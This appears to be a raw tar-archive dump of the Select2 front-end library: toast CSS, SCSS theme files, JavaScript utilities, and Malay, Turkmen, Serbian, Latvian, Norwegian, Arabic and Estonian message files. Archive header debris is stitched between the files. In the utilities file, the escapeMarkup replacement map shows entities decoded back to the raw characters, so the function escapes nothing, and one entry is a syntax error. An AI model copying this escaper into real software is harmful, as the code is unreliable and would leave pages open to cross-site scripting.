line-height: 17px; position: relative; pointer-events: all !important; background-color: #444444; color: white; } .jq-toast-single h2 { font-family: arial, sans-serif; font-size: 14px; margin: 0px 0px 7px; background: none; color: inherit; line-height: inherit; letter-spacing: normal; } .jq-toast-single a { color: #eee; text-decoration: none; font-weight: bold; border-bottom: 1px solid white; padding-bottom: 3px; font-size: 12px; } .jq-toast-single ul { margin: 0px 0px 0px 15px; background: none; padding:0px; } .jq-toast-single ul li { list-style-type: disc !important; line-height: 17px; background: none; margin: 0; padding: 0; letter-spacing: normal; } .close-jq-toast-single { position: absolute; top: 3px; right: 7px; font-size: 14px; cursor: pointer; } .jq-toast-loader { display: block; position: absolute; top: -2px; height: 5px; width: 0%; left: 0; border-radius: 5px; background: red; } .jq-toast-loaded { width: 100%; } .jq-has-icon { padding: 10px 10px 10px 50px; background-repeat: no-repeat; background-position: 10px; } .jq-icon-info { background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAYAAADgdz34AAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAAGwSURBVEhLtZa9SgNBEMc9sUxxRcoUKSzSWIhXpFMhhYWFhaBg4yPYiWCXZxBLERsLRS3EQkEfwCKdjWJAwSKCgoKCcudv4O5YLrt7EzgXhiU3/4+b2ckmwVjJSpKkQ6wAi4gwhT+z3wRBcEz0yjSseUTrcRyfsHsXmD0AmbHOC9Ii8VImnuXBPglHpQ5wwSVM7sNnTG7Za4JwDdCjxyAiH3nyA2mtaTJufiDZ5dCaqlItILh1NHatfN5skvjx9Z38m69CgzuXmZgVrPIGE763Jx9qKsRozWYw6xOHdER+nn2KkO+Bb+UV5CBN6WC6QtBgbRVozrahAbmm6HtUsgtPC19tFdxXZYBOfkbmFJ1VaHA1VAHjd0pp70oTZzvR+EVrx2Ygfdsq6eu55BHYR8hlcki+n+kERUFG8BrA0BwjeAv2M8WLQBtcy+SD6fNsmnB3AlBLrgTtVW1c2QN4bVWLATaIS60J2Du5y1TiJgjSBvFVZgTmwCU+dAZFoPxGEEs8nyHC9Bwe2GvEJv2WXZb0vjdyFT4Cxk3e/kIqlOGoVLwwPevpYHT+00T+hWwXDf4AJAOUqWcDhbwAAAAASUVORK5CYII='); background-color: #31708f; color: #d9edf7; border-color: #bce8f1; } .jq-icon-warning { background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAYAAADgdz34AAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAAGYSURBVEhL5ZSvTsNQFMbXZGICMYGYmJhAQIJAICYQPAACiSDB8AiICQQJT4CqQEwgJvYASAQCiZiYmJhAIBATCARJy+9rTsldd8sKu1M0+dLb057v6/lbq/2rK0mS/TRNj9cWNAKPYIJII7gIxCcQ51cvqID+GIEX8ASG4B1bK5gIZFeQfoJdEXOfgX4QAQg7kH2A65yQ87lyxb27sggkAzAuFhbbg1K2kgCkB1bVwyIR9m2L7PRPIhDUIXgGtyKw575yz3lTNs6X4JXnjV+LKM/m3MydnTbtOKIjtz6VhCBq4vSm3ncdrD2lk0VgUXSVKjVDJXJzijW1RQdsU7F77He8u68koNZTz8Oz5yGa6J3H3lZ0xYgXBK2QymlWWA+RWnYhskLBv2vmE+hBMCtbA7KX5drWyRT/2JsqZ2IvfB9Y4bWDNMFbJRFmC9E74SoS0CqulwjkC0+5bpcV1CZ8NMej4pjy0U+doDQsGyo1hzVJttIjhQ7GnBtRFN1UarUlH8F3xict+HY07rEzoUGPlWcjRFRr4/gChZgc3ZL2d8oAAAAASUVORK5CYII='); background-color: #8a6d3b; color: #fcf8e3; border-color: #faebcc; } .jq-icon-error { background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAYAAADgdz34AAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAAHOSURBVEhLrZa/SgNBEMZzh0WKCClSCKaIYOED+AAKeQQLG8HWztLCImBrYadgIdY+gIKNYkBFSwu7CAoqCgkkoGBI/E28PdbLZmeDLgzZzcx83/zZ2SSXC1j9fr+I1Hq93g2yxH4iwM1vkoBWAdxCmpzTxfkN2RcyZNaHFIkSo10+8kgxkXIURV5HGxTmFuc75B2RfQkpxHG8aAgaAFa0tAHqYFfQ7Iwe2yhODk8+J4C7yAoRTWI3w/4klGRgR4lO7Rpn9+gvMyWp+uxFh8+H+ARlgN1nJuJuQAYvNkEnwGFck18Er4q3egEc/oO+mhLdKgRyhdNFiacC0rlOCbhNVz4H9FnAYgDBvU3QIioZlJFLJtsoHYRDfiZoUyIxqCtRpVlANq0EU4dApjrtgezPFad5S19Wgjkc0hNVnuF4HjVA6C7QrSIbylB+oZe3aHgBsqlNqKYH48jXyJKMuAbiyVJ8KzaB3eRc0pg9VwQ4niFryI68qiOi3AbjwdsfnAtk0bCjTLJKr6mrD9g8iq/S/B81hguOMlQTnVyG40wAcjnmgsCNESDrjme7wfftP4P7SP4N3CJZdvzoNyGq2c/HWOXJGsvVg+RA/k2MC/wN6I2YA2Pt8GkAAAAASUVORK5CYII='); background-color: #a94442; color: #f2dede; border-color: #ebccd1; } .jq-icon-success { background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAYAAADgdz34AAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAADsSURBVEhLY2AYBfQMgf///3P8+/evAIgvA/FsIF+BavYDDWMBGroaSMMBiE8VC7AZDrIFaMFnii3AZTjUgsUUWUDA8OdAH6iQbQEhw4HyGsPEcKBXBIC4ARhex4G4BsjmweU1soIFaGg/WtoFZRIZdEvIMhxkCCjXIVsATV6gFGACs4Rsw0EGgIIH3QJYJgHSARQZDrWAB+jawzgs+Q2UO49D7jnRSRGoEFRILcdmEMWGI0cm0JJ2QpYA1RDvcmzJEWhABhD/pqrL0S0CWuABKgnRki9lLseS7g2AlqwHWQSKH4oKLrILpRGhEQCw2LiRUIa4lwAAAABJRU5ErkJggg=='); color: #dff0d8; background-color: #3c763d; border-color: #d6e9c6; }scss/theme/classic/layout.scss000064400000002366151677313660012502 0ustar00@import "defaults"; @import "../../mixins/gradients"; .select2-container--classic { @import "single"; @import "multiple"; .select2-search--dropdown { .select2-search__field { border: 1px solid $border-color; outline: 0; } } .select2-search--inline { .select2-search__field { outline: 0; box-shadow: none; } } .select2-dropdown { background-color: $dropdown-bg-color; border: 1px solid transparent; } .select2-dropdown--above { border-bottom: none; } .select2-dropdown--below { border-top: none; } .select2-results > .select2-results__options { max-height: $results-max-height; overflow-y: auto; } .select2-results__option { &[role=group] { padding: 0; } &[aria-disabled=true] { color: $results-choice-fg-unselectable-color; } } .select2-results__option--highlighted[aria-selected] { background-color: $results-choice-bg-hover-color; color: $results-choice-fg-hover-color; } .select2-results__group { cursor: default; display: block; padding: 6px; } &.select2-container--open .select2-dropdown { border-color: $focus-border-color; } } scss/theme/classic/_defaults.scss000064400000001653151677313660013131 0ustar00$remove-color: #888 !default; $remove-hover-color: #555 !default; $remove-width: 20px !default; $selection-color: #444 !default; $border-color: #aaa !default; $border-radius: 4px !default; $focus-border-color: #5897fb !default; $container-height: 28px !default; $selection-bg-top-color: white !default; $selection-bg-bottom-color: #eeeeee !default; $container-placeholder-color: #999 !default; $container-focus-border-color: blue !default; $selection-opened-bg-top-color: $selection-bg-bottom-color !default; $selection-opened-bg-bottom-color: $selection-bg-top-color !default; $dropdown-z-index: 1 !default; $dropdown-bg-color: $selection-bg-top-color !default; $results-max-height: 200px !default; $results-nested-padding: 20px !default; $results-choice-bg-hover-color: #3875d7 !default; $results-choice-fg-hover-color: white !default; $results-choice-fg-unselectable-color: grey !default; scss/theme/classic/_multiple.scss000064400000003154151677313660013153 0ustar00.select2-selection--multiple { background-color: white; border: 1px solid $border-color; border-radius: $border-radius; cursor: text; outline: 0; &:focus { border: 1px solid $focus-border-color; } .select2-selection__rendered { list-style: none; margin: 0; padding: 0 5px; } .select2-selection__clear { display: none; } .select2-selection__choice { background-color: #e4e4e4; border: 1px solid $border-color; border-radius: $border-radius; cursor: default; float: left; margin-right: 5px; margin-top: 5px; padding: 0 5px; } .select2-selection__choice__remove { color: $remove-color; cursor: pointer; display: inline-block; font-weight: bold; margin-right: 2px; &:hover { color: $remove-hover-color; } } } &[dir="rtl"] { .select2-selection--multiple { .select2-selection__choice { float: right; margin-left: 5px; margin-right: auto; } .select2-selection__choice__remove { margin-left: 2px; margin-right: auto; } } } &.select2-container--open { .select2-selection--multiple { border: 1px solid $focus-border-color; } &.select2-container--above { .select2-selection--multiple { border-top: none; border-top-left-radius: 0; border-top-right-radius: 0; } } &.select2-container--below { .select2-selection--multiple { border-bottom: none; border-bottom-left-radius: 0; border-bottom-right-radius: 0; } } } scss/theme/classic/_single.scss000064400000005121151677313660012575 0ustar00.select2-selection--single { background-color: mix($selection-bg-top-color, $selection-bg-bottom-color); border: 1px solid $border-color; border-radius: $border-radius; outline: 0; @include gradient-vertical($selection-bg-top-color, $selection-bg-bottom-color, 50%, 100%); &:focus { border: 1px solid $focus-border-color; } .select2-selection__rendered { color: #444; line-height: 28px; } .select2-selection__clear { cursor: pointer; float: right; font-weight: bold; margin-right: 10px; } .select2-selection__placeholder { color: #999; } .select2-selection__arrow { background-color: #ddd; border: none; border-left: 1px solid $border-color; border-top-right-radius: $border-radius; border-bottom-right-radius: $border-radius; height: 26px; position: absolute; top: 1px; right: 1px; width: 20px; @include gradient-vertical(#eeeeee, #cccccc, 50%, 100%); b { border-color: #888 transparent transparent transparent; border-style: solid; border-width: 5px 4px 0 4px; height: 0; left: 50%; margin-left: -4px; margin-top: -2px; position: absolute; top: 50%; width: 0; } } } &[dir="rtl"] { .select2-selection--single { .select2-selection__clear { float: left; } .select2-selection__arrow { border: none; border-right: 1px solid $border-color; border-radius: 0; border-top-left-radius: $border-radius; border-bottom-left-radius: $border-radius; left: 1px; right: auto; } } } &.select2-container--open { .select2-selection--single { border: 1px solid $focus-border-color; .select2-selection__arrow { background: transparent; border: none; b { border-color: transparent transparent #888 transparent; border-width: 0 4px 5px 4px; } } } &.select2-container--above { .select2-selection--single { border-top: none; border-top-left-radius: 0; border-top-right-radius: 0; @include gradient-vertical($selection-opened-bg-bottom-color, $selection-opened-bg-top-color, 0%, 50%); } } &.select2-container--below { .select2-selection--single { border-bottom: none; border-bottom-left-radius: 0; border-bottom-right-radius: 0; @include gradient-vertical($selection-opened-bg-top-color, $selection-opened-bg-bottom-color, 50%, 100%); } } } scss/theme/default/layout.scss000064400000004007151677313660012477 0ustar00.select2-container--default { @import "single"; @import "multiple"; &.select2-container--open.select2-container--above { .select2-selection--single, .select2-selection--multiple { border-top-left-radius: 0; border-top-right-radius: 0; } } &.select2-container--open.select2-container--below { .select2-selection--single, .select2-selection--multiple { border-bottom-left-radius: 0; border-bottom-right-radius: 0; } } .select2-search--dropdown { .select2-search__field { border: 1px solid #aaa; } } .select2-search--inline { .select2-search__field { background: transparent; border: none; outline: 0; box-shadow: none; -webkit-appearance: textfield; } } .select2-results > .select2-results__options { max-height: 200px; overflow-y: auto; } .select2-results__option { &[role=group] { padding: 0; } &[aria-disabled=true] { color: #999; } &[aria-selected=true] { background-color: #ddd; } .select2-results__option { padding-left: 1em; .select2-results__group { padding-left: 0; } .select2-results__option { margin-left: -1em; padding-left: 2em; .select2-results__option { margin-left: -2em; padding-left: 3em; .select2-results__option { margin-left: -3em; padding-left: 4em; .select2-results__option { margin-left: -4em; padding-left: 5em; .select2-results__option { margin-left: -5em; padding-left: 6em; } } } } } } } .select2-results__option--highlighted[aria-selected] { background-color: #5897fb; color: white; } .select2-results__group { cursor: default; display: block; padding: 6px; } } scss/theme/default/_multiple.scss000064400000003271151677313660013156 0ustar00.select2-selection--multiple { background-color: white; border: 1px solid #aaa; border-radius: 4px; cursor: text; .select2-selection__rendered { box-sizing: border-box; list-style: none; margin: 0; padding: 0 5px; width: 100%; li { list-style: none; } } .select2-selection__placeholder { color: #999; margin-top: 5px; float: left; } .select2-selection__clear { cursor: pointer; float: right; font-weight: bold; margin-top: 5px; margin-right: 10px; } .select2-selection__choice { background-color: #e4e4e4; border: 1px solid #aaa; border-radius: 4px; cursor: default; float: left; margin-right: 5px; margin-top: 5px; padding: 0 5px; } .select2-selection__choice__remove { color: #999; cursor: pointer; display: inline-block; font-weight: bold; margin-right: 2px; &:hover { color: #333; } } } &[dir="rtl"] { .select2-selection--multiple { .select2-selection__choice, .select2-selection__placeholder, .select2-search--inline { float: right; } .select2-selection__choice { margin-left: 5px; margin-right: auto; } .select2-selection__choice__remove { margin-left: 2px; margin-right: auto; } } } &.select2-container--focus { .select2-selection--multiple { border: solid black 1px; outline: 0; } } &.select2-container--disabled { .select2-selection--multiple { background-color: #eee; cursor: default; } .select2-selection__choice__remove { display: none; } } scss/theme/default/_single.scss000064400000002613151677313660012603 0ustar00.select2-selection--single { background-color: #fff; border: 1px solid #aaa; border-radius: 4px; .select2-selection__rendered { color: #444; line-height: 28px; } .select2-selection__clear { cursor: pointer; float: right; font-weight: bold; } .select2-selection__placeholder { color: #999; } .select2-selection__arrow { height: 26px; position: absolute; top: 1px; right: 1px; width: 20px; b { border-color: #888 transparent transparent transparent; border-style: solid; border-width: 5px 4px 0 4px; height: 0; left: 50%; margin-left: -4px; margin-top: -2px; position: absolute; top: 50%; width: 0; } } } &[dir="rtl"] { .select2-selection--single { .select2-selection__clear { float: left; } .select2-selection__arrow { left: 1px; right: auto; } } } &.select2-container--disabled { .select2-selection--single { background-color: #eee; cursor: default; .select2-selection__clear { display: none; } } } &.select2-container--open { .select2-selection--single { .select2-selection__arrow { b { border-color: transparent transparent #888 transparent; border-width: 0 4px 5px 4px; } } } } scss/_multiple.scss000064400000001161151677313660010424 0ustar00.select2-selection--multiple { box-sizing: border-box; cursor: pointer; display: block; min-height: 32px; user-select: none; -webkit-user-select: none; .select2-selection__rendered { display: inline-block; overflow: hidden; padding-left: 8px; text-overflow: ellipsis; white-space: nowrap; } } .select2-search--inline { float: left; .select2-search__field { box-sizing: border-box; border: none; font-size: 100%; margin-top: 5px; padding: 0; &::-webkit-search-cancel-button { -webkit-appearance: none; } } } scss/mixins/_gradients.scss000064400000002033151677313660012057 0ustar00// https://github.com/twbs/bootstrap-sass/blob/3.3-stable/assets/stylesheets/bootstrap/mixins/_gradients.scss#L17-L27 // Vertical gradient, from top to bottom // // Creates two color stops, start and end, by specifying a color and position for each color stop. // Color stops are not available in IE9 and below. @mixin gradient-vertical($start-color: #555, $end-color: #333, $start-percent: 0%, $end-percent: 100%) { background-image: -webkit-linear-gradient(top, $start-color $start-percent, $end-color $end-percent); // Safari 5.1-6, Chrome 10+ background-image: -o-linear-gradient(top, $start-color $start-percent, $end-color $end-percent); // Opera 12 background-image: linear-gradient(to bottom, $start-color $start-percent, $end-color $end-percent); // Standard, IE10, Firefox 16+, Opera 12.10+, Safari 7+, Chrome 26+ background-repeat: repeat-x; filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#{ie-hex-str($start-color)}', endColorstr='#{ie-hex-str($end-color)}', GradientType=0); // IE9 and down } scss/_single.scss000064400000001111151677313660010045 0ustar00.select2-selection--single { box-sizing: border-box; cursor: pointer; display: block; height: 28px; user-select: none; -webkit-user-select: none; .select2-selection__rendered { display: block; padding-left: 8px; padding-right: 20px; overflow: hidden; text-overflow: ellipsis; white-space: nowrap; } .select2-selection__clear { position: relative; } } &[dir="rtl"] { .select2-selection--single { .select2-selection__rendered { padding-right: 8px; padding-left: 20px; } } } scss/core.scss000064400000001715151677313660007367 0ustar00.select2-container { box-sizing: border-box; display: inline-block; margin: 0; position: relative; vertical-align: middle; @import "single"; @import "multiple"; } @import "dropdown"; .select2-close-mask { border: 0; margin: 0; padding: 0; display: block; position: fixed; left: 0; top: 0; min-height: 100%; min-width: 100%; height: auto; width: auto; opacity: 0; z-index: 99; // styles required for IE to work background-color: #fff; filter: alpha(opacity=0); } .select2-hidden-accessible { border: 0 !important; clip: rect(0 0 0 0) !important; -webkit-clip-path: inset(50%) !important; clip-path: inset(50%) !important; height: 1px !important; overflow: hidden !important; padding: 0 !important; position: absolute !important; width: 1px !important; white-space: nowrap !important; } @import "theme/default/layout"; @import "theme/classic/layout"; scss/_dropdown.scss000064400000002233151677313660010426 0ustar00.select2-dropdown { background-color: white; border: 1px solid #aaa; border-radius: 4px; box-sizing: border-box; display: block; position: absolute; left: -100000px; width: 100%; z-index: 1051; } .select2-results { display: block; } .select2-results__options { list-style: none; margin: 0; padding: 0; } .select2-results__option { padding: 6px; user-select: none; -webkit-user-select: none; &[aria-selected] { cursor: pointer; } } .select2-container--open .select2-dropdown { left: 0; } .select2-container--open .select2-dropdown--above { border-bottom: none; border-bottom-left-radius: 0; border-bottom-right-radius: 0; } .select2-container--open .select2-dropdown--below { border-top: none; border-top-left-radius: 0; border-top-right-radius: 0; } .select2-search--dropdown { display: block; padding: 4px; .select2-search__field { padding: 4px; width: 100%; box-sizing: border-box; &::-webkit-search-cancel-button { -webkit-appearance: none; } } &.select2-search--hide { display: none; } } js/jquery.shim.js000064400000000563151677313660010017 0ustar00/* global jQuery:false, $:false */ define(function () { var _$ = jQuery || $; if (_$ == null && console && console.error) { console.error( 'Select2: An instance of jQuery or a jQuery-compatible library was not ' + 'found. Make sure that you are including jQuery before Select2 on your ' + 'web page.' ); } return _$; }); js/banner.end.js000064400000000233151677313660007545 0ustar00 // Return the AMD loader configuration so it can be used outside of this file return { define: S2.define, require: S2.require }; }()); js/banner.start.js000064400000000411151677313660010132 0ustar00(function () { // Restore the Select2 AMD loader so it can be used // Needed mostly in the language files, where the loader is not inserted if (jQuery && jQuery.fn && jQuery.fn.select2 && jQuery.fn.select2.amd) { var S2 = jQuery.fn.select2.amd; } js/select2/utils.js000064400000021332151677313660010237 0ustar00define([ 'jquery' ], function ($) { var Utils = {}; Utils.Extend = function (ChildClass, SuperClass) { var __hasProp = {}.hasOwnProperty; function BaseConstructor () { this.constructor = ChildClass; } for (var key in SuperClass) { if (__hasProp.call(SuperClass, key)) { ChildClass[key] = SuperClass[key]; } } BaseConstructor.prototype = SuperClass.prototype; ChildClass.prototype = new BaseConstructor(); ChildClass.__super__ = SuperClass.prototype; return ChildClass; }; function getMethods (theClass) { var proto = theClass.prototype; var methods = []; for (var methodName in proto) { var m = proto[methodName]; if (typeof m !== 'function') { continue; } if (methodName === 'constructor') { continue; } methods.push(methodName); } return methods; } Utils.Decorate = function (SuperClass, DecoratorClass) { var decoratedMethods = getMethods(DecoratorClass); var superMethods = getMethods(SuperClass); function DecoratedClass () { var unshift = Array.prototype.unshift; var argCount = DecoratorClass.prototype.constructor.length; var calledConstructor = SuperClass.prototype.constructor; if (argCount > 0) { unshift.call(arguments, SuperClass.prototype.constructor); calledConstructor = DecoratorClass.prototype.constructor; } calledConstructor.apply(this, arguments); } DecoratorClass.displayName = SuperClass.displayName; function ctr () { this.constructor = DecoratedClass; } DecoratedClass.prototype = new ctr(); for (var m = 0; m < superMethods.length; m++) { var superMethod = superMethods[m]; DecoratedClass.prototype[superMethod] = SuperClass.prototype[superMethod]; } var calledMethod = function (methodName) { // Stub out the original method if it's not decorating an actual method var originalMethod = function () {}; if (methodName in DecoratedClass.prototype) { originalMethod = DecoratedClass.prototype[methodName]; } var decoratedMethod = DecoratorClass.prototype[methodName]; return function () { var unshift = Array.prototype.unshift; unshift.call(arguments, originalMethod); return decoratedMethod.apply(this, arguments); }; }; for (var d = 0; d < decoratedMethods.length; d++) { var decoratedMethod = decoratedMethods[d]; DecoratedClass.prototype[decoratedMethod] = calledMethod(decoratedMethod); } return DecoratedClass; }; var Observable = function () { this.listeners = {}; }; Observable.prototype.on = function (event, callback) { this.listeners = this.listeners || {}; if (event in this.listeners) { this.listeners[event].push(callback); } else { this.listeners[event] = [callback]; } }; Observable.prototype.trigger = function (event) { var slice = Array.prototype.slice; var params = slice.call(arguments, 1); this.listeners = this.listeners || {}; // Params should always come in as an array if (params == null) { params = []; } // If there are no arguments to the event, use a temporary object if (params.length === 0) { params.push({}); } // Set the `_type` of the first object to the event params[0]._type = event; if (event in this.listeners) { this.invoke(this.listeners[event], slice.call(arguments, 1)); } if ('*' in this.listeners) { this.invoke(this.listeners['*'], arguments); } }; Observable.prototype.invoke = function (listeners, params) { for (var i = 0, len = listeners.length; i < len; i++) { listeners[i].apply(this, params); } }; Utils.Observable = Observable; Utils.generateChars = function (length) { var chars = ''; for (var i = 0; i < length; i++) { var randomChar = Math.floor(Math.random() * 36); chars += randomChar.toString(36); } return chars; }; Utils.bind = function (func, context) { return function () { func.apply(context, arguments); }; }; Utils._convertData = function (data) { for (var originalKey in data) { var keys = originalKey.split('-'); var dataLevel = data; if (keys.length === 1) { continue; } for (var k = 0; k < keys.length; k++) { var key = keys[k]; // Lowercase the first letter // By default, dash-separated becomes camelCase key = key.substring(0, 1).toLowerCase() + key.substring(1); if (!(key in dataLevel)) { dataLevel[key] = {}; } if (k == keys.length - 1) { dataLevel[key] = data[originalKey]; } dataLevel = dataLevel[key]; } delete data[originalKey]; } return data; }; Utils.hasScroll = function (index, el) { // Adapted from the function created by @ShadowScripter // and adapted by @BillBarry on the Stack Exchange Code Review website. // The original code can be found at // http://codereview.stackexchange.com/q/13338 // and was designed to be used with the Sizzle selector engine. var $el = $(el); var overflowX = el.style.overflowX; var overflowY = el.style.overflowY; //Check both x and y declarations if (overflowX === overflowY && (overflowY === 'hidden' || overflowY === 'visible')) { return false; } if (overflowX === 'scroll' || overflowY === 'scroll') { return true; } return ($el.innerHeight() < el.scrollHeight || $el.innerWidth() < el.scrollWidth); }; Utils.escapeMarkup = function (markup) { var replaceMap = { '\\': '\', '&': '&', '<': '<', '>': '>', '"': '"', '\'': ''', '/': '/' }; // Do not try to escape the markup if it's not a string if (typeof markup !== 'string') { return markup; } return String(markup).replace(/[&<>"'\/\\]/g, function (match) { return replaceMap[match]; }); }; // Append an array of jQuery nodes to a given element. Utils.appendMany = function ($element, $nodes) { // jQuery 1.7.x does not support $.fn.append() with an array // Fall back to a jQuery object collection using $.fn.add() if ($.fn.jquery.substr(0, 3) === '1.7') { var $jqNodes = $(); $.map($nodes, function (node) { $jqNodes = $jqNodes.add(node); }); $nodes = $jqNodes; } $element.append($nodes); }; // Cache objects in Utils.__cache instead of $.data (see #4346) Utils.__cache = {}; var id = 0; Utils.GetUniqueElementId = function (element) { // Get a unique element Id. If element has no id, // creates a new unique number, stores it in the id // attribute and returns the new id. // If an id already exists, it simply returns it. var select2Id = element.getAttribute('data-select2-id'); if (select2Id == null) { // If element has id, use it. if (element.id) { select2Id = element.id; element.setAttribute('data-select2-id', select2Id); } else { element.setAttribute('data-select2-id', ++id); select2Id = id.toString(); } } return select2Id; }; Utils.StoreData = function (element, name, value) { // Stores an item in the cache for a specified element. // name is the cache key. var id = Utils.GetUniqueElementId(element); if (!Utils.__cache[id]) { Utils.__cache[id] = {}; } Utils.__cache[id][name] = value; }; Utils.GetData = function (element, name) { // Retrieves a value from the cache by its key (name) // name is optional. If no name specified, return // all cache items for the specified element. // and for a specified element. var id = Utils.GetUniqueElementId(element); if (name) { if (Utils.__cache[id]) { return Utils.__cache[id][name] != null ? Utils.__cache[id][name]: $(element).data(name); // Fallback to HTML5 data attribs. } return $(element).data(name); // Fallback to HTML5 data attribs. } else { return Utils.__cache[id]; } }; Utils.RemoveData = function (element) { // Removes all cached items for a specified element. var id = Utils.GetUniqueElementId(element); if (Utils.__cache[id] != null) { delete Utils.__cache[id]; } }; return Utils; }); js/select2/i18n/ms.js000064400000001513151677313660010274 0ustar00define(function () { // Malay return { errorLoading: function () { return 'Keputusan tidak berjaya dimuatkan.'; }, inputTooLong: function (args) { var overChars = args.input.length - args.maximum; return 'Sila hapuskan ' + overChars + ' aksara'; }, inputTooShort: function (args) { var remainingChars = args.minimum - args.input.length; return 'Sila masukkan ' + remainingChars + ' atau lebih aksara'; }, loadingMore: function () { return 'Sedang memuatkan keputusan…'; }, maximumSelected: function (args) { return 'Anda hanya boleh memilih ' + args.maximum + ' pilihan'; }, noResults: function () { return 'Tiada padanan yang ditemui'; }, searching: function () { return 'Mencari…'; } }; });js/select2/i18n/tk.js000064400000001611151677313660010272 0ustar00define(function () { // Turkmen return { errorLoading: function (){ return 'Netije ýüklenmedi.'; }, inputTooLong: function (args) { var overChars = args.input.length - args.maximum; var message = overChars + ' harp bozuň.'; return message; }, inputTooShort: function (args) { var remainingChars = args.minimum - args.input.length; var message = 'Ýene-de iň az ' + remainingChars + ' harp ýazyň.'; return message; }, loadingMore: function () { return 'Köpräk netije görkezilýär…'; }, maximumSelected: function (args) { var message = 'Diňe ' + args.maximum + ' sanysyny saýlaň.'; return message; }, noResults: function () { return 'Netije tapylmady.'; }, searching: function () { return 'Gözlenýär…'; } }; }); js/select2/i18n/sr.js000064400000002515151677313660010304 0ustar00define(function () { // Serbian function ending (count, one, some, many) { if (count % 10 == 1 && count % 100 != 11) { return one; } if (count % 10 >= 2 && count % 10 <= 4 && (count % 100 < 12 || count % 100 > 14)) { return some; } return many; } return { errorLoading: function () { return 'Preuzimanje nije uspelo.'; }, inputTooLong: function (args) { var overChars = args.input.length - args.maximum; var message = 'Obrišite ' + overChars + ' simbol'; message += ending(overChars, '', 'a', 'a'); return message; }, inputTooShort: function (args) { var remainingChars = args.minimum - args.input.length; var message = 'Ukucajte bar još ' + remainingChars + ' simbol'; message += ending(remainingChars, '', 'a', 'a'); return message; }, loadingMore: function () { return 'Preuzimanje još rezultata…'; }, maximumSelected: function (args) { var message = 'Možete izabrati samo ' + args.maximum + ' stavk'; message += ending(args.maximum, 'u', 'e', 'i'); return message; }, noResults: function () { return 'Ništa nije pronađeno'; }, searching: function () { return 'Pretraga…'; } }; }); js/select2/i18n/lv.js000064400000002321151677313660010274 0ustar00define(function () { // Latvian function ending (count, eleven, singular, other) { if (count === 11) { return eleven; } if (count % 10 === 1) { return singular; } return other; } return { inputTooLong: function (args) { var overChars = args.input.length - args.maximum; var message = 'Lūdzu ievadiet par ' + overChars; message += ' simbol' + ending(overChars, 'iem', 'u', 'iem'); return message + ' mazāk'; }, inputTooShort: function (args) { var remainingChars = args.minimum - args.input.length; var message = 'Lūdzu ievadiet vēl ' + remainingChars; message += ' simbol' + ending(remainingChars, 'us', 'u', 'us'); return message; }, loadingMore: function () { return 'Datu ielāde…'; }, maximumSelected: function (args) { var message = 'Jūs varat izvēlēties ne vairāk kā ' + args.maximum; message += ' element' + ending(args.maximum, 'us', 'u', 'us'); return message; }, noResults: function () { return 'Sakritību nav'; }, searching: function () { return 'Meklēšana…'; } }; }); js/select2/i18n/nb.js000064400000001472151677313660010260 0ustar00define(function () { // Norwegian (Bokmål) return { errorLoading: function () { return 'Kunne ikke hente resultater.'; }, inputTooLong: function (args) { var overChars = args.input.length - args.maximum; return 'Vennligst fjern ' + overChars + ' tegn'; }, inputTooShort: function (args) { var remainingChars = args.minimum - args.input.length; return 'Vennligst skriv inn ' + remainingChars + ' tegn til'; }, loadingMore: function () { return 'Laster flere resultater…'; }, maximumSelected: function (args) { return 'Du kan velge maks ' + args.maximum + ' elementer'; }, noResults: function () { return 'Ingen treff'; }, searching: function () { return 'Søker…'; } }; }); js/select2/i18n/sr-Cyrl.js000064400000002721151677313660011212 0ustar00define(function () { // Serbian Cyrilic function ending (count, one, some, many) { if (count % 10 == 1 && count % 100 != 11) { return one; } if (count % 10 >= 2 && count % 10 <= 4 && (count % 100 < 12 || count % 100 > 14)) { return some; } return many; } return { errorLoading: function () { return 'Преузимање није успело.'; }, inputTooLong: function (args) { var overChars = args.input.length - args.maximum; var message = 'Обришите ' + overChars + ' симбол'; message += ending(overChars, '', 'а', 'а'); return message; }, inputTooShort: function (args) { var remainingChars = args.minimum - args.input.length; var message = 'Укуцајте бар још ' + remainingChars + ' симбол'; message += ending(remainingChars, '', 'а', 'а'); return message; }, loadingMore: function () { return 'Преузимање још резултата…'; }, maximumSelected: function (args) { var message = 'Можете изабрати само ' + args.maximum + ' ставк'; message += ending(args.maximum, 'у', 'е', 'и'); return message; }, noResults: function () { return 'Ништа није пронађено'; }, searching: function () { return 'Претрага…'; } }; }); js/select2/i18n/ar.js000064400000001631151677313660010260 0ustar00define(function () { // Arabic return { errorLoading: function () { return 'لا يمكن تحميل النتائج'; }, inputTooLong: function (args) { var overChars = args.input.length - args.maximum; return 'الرجاء حذف ' + overChars + ' عناصر'; }, inputTooShort: function (args) { var remainingChars = args.minimum - args.input.length; return 'الرجاء إضافة ' + remainingChars + ' عناصر'; }, loadingMore: function () { return 'جاري تحميل نتائج إضافية...'; }, maximumSelected: function (args) { return 'تستطيع إختيار ' + args.maximum + ' بنود فقط'; }, noResults: function () { return 'لم يتم العثور على أي نتائج'; }, searching: function () { return 'جاري البحث…'; } }; });js/select2/i18n/et.js000064400000002145151677313660010267 0ustar00define(function () { // Estonian return { inputTooLong: function (args) { var overChars = args.input.length - args.maximum; var message = 'Sisesta ' + overChars + ' täht'; if (overChars != 1) { message += 'e'; } message += ' vähem'; return message; }, inputTooShort: function (args) { var remainingChars = args.minimum - args.input.length; var message = 'Sisesta ' + remainingChars + ' täht'; if (remainingChars != 1) { message += 'e'; } message += ' rohkem'; return message; }, loadingMore: function () { return 'Laen tulemusi…'; }, maximumSelected: function (args) { var message = 'Saad vaid ' + args.maximum + ' tulemus'; if (args.maximum == 1) { message += 'e'; } else { message += 't'; } message += ' valida'; return message; }, noResults: function () { return 'Tulemused puuduvad'; }, searching: function () { return 'Otsin…'; } }; }); 